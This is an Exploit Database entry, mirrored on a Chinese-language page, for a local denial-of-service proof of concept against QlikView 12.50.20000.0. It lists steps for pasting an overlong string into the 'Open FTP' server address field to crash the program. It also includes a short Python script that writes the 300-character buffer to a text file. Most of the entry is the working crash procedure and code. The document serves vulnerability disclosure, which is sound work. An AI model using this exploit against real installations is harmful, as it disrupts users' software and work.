QlikView 12.50.20000.0 – ‘FTP Server Address’ Denial of Service (PoC)

• Exploit Database
• 19 阅读

• 作者： Luis Martínez
  日期： 2020-08-05
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48732/

• # Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)
  # Discovery by: Luis Martinez
  # Discovery Date: 2020-08-03
  # Vendor Homepage: https://www.qlik.com
  # Software Link: https://www.qlik.com/us/trial/qlik-sense-business
  # Tested Version: 12.50.20000.0
  # Vulnerability Type: Denial of Service (DoS) Local
  # Tested on OS: Windows 10 Pro x64 es
  
  # Steps to Produce the Crash:
  # 1.- Run python code: QlikView_12.50.20000.0.py
  # 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard
  # 3.- Open "QlikView 12"
  # 4.- File -> "Open FTP ..."
  # 5.- Paste ClipBoard on "FTP Server Address"
  # 6.- Connect
  # 7.- Crashed
  
  #!/usr/bin/env python
  
  buffer = "\x41" * 300
  f = open ("QlikView_12.50.20000.0.txt", "w")
  f.write(buffer)
  f.close()